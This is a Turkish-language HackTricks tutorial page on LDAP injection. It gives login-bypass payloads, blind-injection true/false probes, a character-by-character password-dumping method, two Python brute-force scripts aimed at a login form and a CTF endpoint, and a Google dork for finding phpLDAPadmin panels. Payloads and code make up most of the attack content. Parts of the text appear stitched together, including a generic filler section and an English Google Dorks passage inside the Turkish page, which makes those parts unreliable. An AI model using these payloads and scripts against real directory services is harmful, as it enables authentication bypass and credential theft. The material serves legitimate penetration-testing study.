# LDAP Enjeksiyonu ## LDAP Enjeksiyonu
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! HackTricks'ı desteklemenin diğer yolları: * Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github reposuna **katkıda bulunun**.
\ **Bounty ipucu**: Hackerlar tarafından oluşturulan premium bir **bounty platformu olan Intigriti'ye** **kaydolun**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'e kadar ödüller kazanmaya başlayın! {% embed url="https://go.intigriti.com/hacktricks" %} ## LDAP Enjeksiyonu ### **LDAP** **LDAP'nin ne olduğunu bilmek isterseniz, aşağıdaki sayfaya bakın:** {% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} **LDAP Enjeksiyonu**, kullanıcı girişinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişi **uygun şekilde temizlemediğinde**, saldırganların yerel bir proxy aracılığıyla LDAP ifadelerini **manipüle etmelerine** izin verir ve yetkisiz erişime veya veri manipülasyonuna yol açabilir. {% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %} **Filtre** = ( filtercomp )\ **Filtercomp** = and / or / not / item\ **And** = & filterlist\ **Or** = |filterlist\ **Not** = ! filter\ **Filterlist** = 1\*filter\ **Item**= simple / present / substring\ **Simple** = attr filtertype assertionvalue\ **Filtertype** = _'=' / '\~=' / '>=' / '<='_\ **Present** = attr = \*\ **Substring** = attr ”=” \[initial] \* \[final]\ **Initial** = assertionvalue\ **Final** = assertionvalue\ **(&)** = Mutlak DOĞRU\ **(|)** = Mutlak YANLIŞ Örneğin:\ `(&(!(objectClass=Impresoras))(uid=s*))`\ `(&(objectClass=user)(uid=*))` Veritabanına erişebilirsiniz ve bu, birçok farklı türde bilgi içerebilir. **OpenLDAP**: 2 filtre gelirse, yalnızca ilkini yürütür.\ **ADAM veya Microsoft LDS**: 2 filtre ile hata fırlatırlar.\ **SunOne Directory Server 5.0**: Her iki filtreyi de yürütür. **Filtrenin doğru sözdizimiyle gönderilmesi çok önemlidir, aksi takdirde bir hata fırlatılır. Sadece 1 filtre göndermek daha iyidir.** Filtre, `&` veya `|` ile başlamalıdır\ Örnek: `(&(directory=val1)(folder=public))` `(&(objectClass=VALUE1)(type=Epson*))`\ `VALUE1 = *)(ObjectClass=*))(&(objectClass=void` Sonra: `(&(objectClass=`**`*)(ObjectClass=*))`** ilk filtre olacak (yürütülen filtre). ### Giriş Atlatma LDAP, şifreyi saklamak için birkaç formatı destekler: açık, md5, smd5, sh1, sha, crypt. Bu nedenle, şifre içine ne eklerseniz ekleyin, muhtemelen karma alınır. ```bash user=* password=* --> (&(user=*)(password=*)) # The asterisks are great in LDAPi ``` ```bash user=*)(& password=*)(& --> (&(user=*)(&)(password=*)(&)) ``` ```bash user=*)(|(& pass=pwd) --> (&(user=*)(|(&)(pass=pwd)) ``` ```bash user=*)(|(password=* password=test) --> (&(user=*)(|(password=*)(password=test)) ``` ```bash user=*))%00 pass=any --> (&(user=*))%00 --> Nothing more is executed ``` ```bash user=admin)(&) password=pwd --> (&(user=admin)(&))(password=pwd) #Can through an error ``` ```bash username = admin)(!(&(| pass = any)) --> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True. ``` ```bash username=* password=*)(& --> (&(user=*)(password=*)(&)) ``` ```bash username=admin))(|(| password=any --> (&(uid=admin)) (| (|) (webpassword=any)) ``` #### Listeler * [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt) * [LDAP Öznitelikleri](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) * [LDAP PosixAccount öznitelikleri](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) ### Kör LDAP Enjeksiyonu Herhangi bir veri döndürülüp döndürülmediğini kontrol etmek ve olası bir Kör LDAP Enjeksiyonunu doğrulamak için Yanlış veya Doğru yanıtlarını zorlayabilirsiniz: ```bash #This will result on True, so some information will be shown Payload: *)(objectClass=*))(&objectClass=void Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*)) ``` ```bash #This will result on True, so no information will be returned or shown Payload: void)(objectClass=void))(&objectClass=void Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*)) ``` #### Veri dökümü ASCII harfleri, rakamlar ve semboller üzerinde döngü oluşturabilirsiniz: ```bash (&(sn=administrator)(password=*)) : OK (&(sn=administrator)(password=A*)) : KO (&(sn=administrator)(password=B*)) : KO ... (&(sn=administrator)(password=M*)) : OK (&(sn=administrator)(password=MA*)) : KO (&(sn=administrator)(password=MB*)) : KO ... ``` ### Scriptler #### **Geçerli LDAP alanlarını keşfedin** LDAP nesneleri **varsayılan olarak birkaç özelliği içerir** ve bu özellikler kullanılarak **bilgi saklanabilir**. Bu bilgiyi çıkarmak için tüm özellikleri **brute-force yöntemiyle deneyebilirsiniz**. [**Burada varsayılan LDAP özelliklerinin bir listesini bulabilirsiniz**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt). ```python #!/usr/bin/python3 import requests import string from time import sleep import sys proxy = { "http": "localhost:8080" } url = "http://10.10.10.10/login.php" alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",] for attribute in attributes: #Extract all attributes value = "" finish = False while not finish: for char in alphabet: #In each possition test each possible printable char query = f"*)({attribute}={value}{char}*" data = {'login':query, 'password':'bla'} r = requests.post(url, data=data, proxies=proxy) sys.stdout.write(f"\r{attribute}: {value}{char}") #sleep(0.5) #Avoid brute-force bans if "Cannot login" in r.text: value += str(char) break if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value finish = True print() ``` #### **Özel Kör LDAP Enjeksiyonu ("\*" olmadan)** --- ##### **LDAP Injection** LDAP enjeksiyonu, bir web uygulamasının LDAP (Lightweight Directory Access Protocol) sorgularını manipüle etmek için kullanılan bir saldırı tekniğidir. Bu saldırı, web uygulamasının LDAP sorgularını güvenli bir şekilde işlememesi durumunda gerçekleştirilebilir. ##### **Özel Kör LDAP Enjeksiyonu** Özel kör LDAP enjeksiyonu, hedef web uygulamasının LDAP sorgularını manipüle etmek için kullanılan bir tekniktir. Bu teknik, hedef web uygulamasının yanıtını almak için kör sorgular kullanır. Ancak, bu teknikte "\*" karakteri kullanılmaz. ##### **Örnek** Aşağıdaki örnekte, hedef web uygulamasında bir LDAP enjeksiyonu gerçekleştirilir: ```plaintext username=admin*)(password=*))(|(uid=* ``` Bu enjeksiyon, hedef web uygulamasının LDAP sorgusunu manipüle eder ve tüm kullanıcıların parolalarını elde etmek için bir saldırı gerçekleştirir. ##### **Korunma Yöntemleri** Özel kör LDAP enjeksiyonu saldırılarından korunmak için aşağıdaki önlemler alınabilir: - Giriş verilerini doğrulamak için güvenilir bir veri doğrulama mekanizması kullanın. - Kullanıcı girişlerini temizlemek için giriş verilerini uygun bir şekilde kaçış karakterleriyle işleyin. - LDAP sorgularını oluştururken parametrelerinizi doğru bir şekilde işleyin ve güvenli bir şekilde birleştirin. - Güvenlik açıklarını tespit etmek için düzenli olarak güvenlik testleri yapın ve güncel kalın. ```python #!/usr/bin/python3 import requests, string alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" flag = "" for i in range(50): print("[i] Looking for number " + str(i)) for char in alphabet: r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char) if ("TRUE CONDITION" in r.text): flag += char print("[+] Flag: " + flag) break ``` ### Google Dorks ### Google Dorks Google Dorks, also known as Google Hacking, are search queries that can be used to find sensitive information or vulnerabilities in websites. These queries are entered into the Google search engine to discover specific information that is not easily accessible through normal search methods. Google Dorks can be used for various purposes, including: - Finding exposed or leaked sensitive information, such as usernames, passwords, credit card numbers, or social security numbers. - Identifying vulnerable websites or web applications that can be exploited. - Discovering specific file types or directories that may contain sensitive information. - Locating websites or web pages that have been indexed by Google but are not intended to be publicly accessible. Google Dorks are powerful tools for both ethical hackers and malicious attackers. It is important to use them responsibly and legally, as unauthorized access to sensitive information or systems can have serious consequences. Here are some examples of commonly used Google Dorks: - `site:example.com intext:password` - Searches for web pages on the domain example.com that contain the word "password" in the page content. - `filetype:pdf site:example.com` - Searches for PDF files on the domain example.com. - `inurl:/admin site:example.com` - Searches for web pages on the domain example.com that have "/admin" in the URL. - `intitle:"index of" site:example.com` - Searches for web pages on the domain example.com that have "index of" in the page title. Remember to always use Google Dorks responsibly and with proper authorization. ```bash intitle:"phpLDAPadmin" inurl:cmd.php ``` ### Daha Fazla Payload {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} \ **Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'e kadar ödüller kazanmaya başlayın! {% embed url="https://go.intigriti.com/hacktricks" %}
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! HackTricks'i desteklemenin diğer yolları: * Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin. * Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github reposuna PR göndererek paylaşın.